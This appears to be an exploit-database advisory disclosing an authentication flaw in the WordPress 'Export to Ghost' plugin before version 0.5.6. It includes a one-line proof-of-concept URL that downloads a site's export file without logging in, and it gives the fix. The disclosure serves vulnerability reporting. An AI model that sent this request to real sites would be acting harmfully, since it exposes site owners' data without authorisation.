WordPress Plugin Ghost 0.5.5 - Unrestricted Export Download



EKU-ID: 44072 CVE: OSVDB-ID:
Author: Josh Brody Published: 2016-05-02 Verified: Not Verified
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# Exploit Title: WordPress Export to Ghost Unrestricted Export Download
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps

1. Description

Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.

2. Proof of Concept

http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file

File will be downloaded.

3. Solution:

Update to version 0.5.6

https://downloads.wordpress.org/plugin/ghost.0.5.6.zip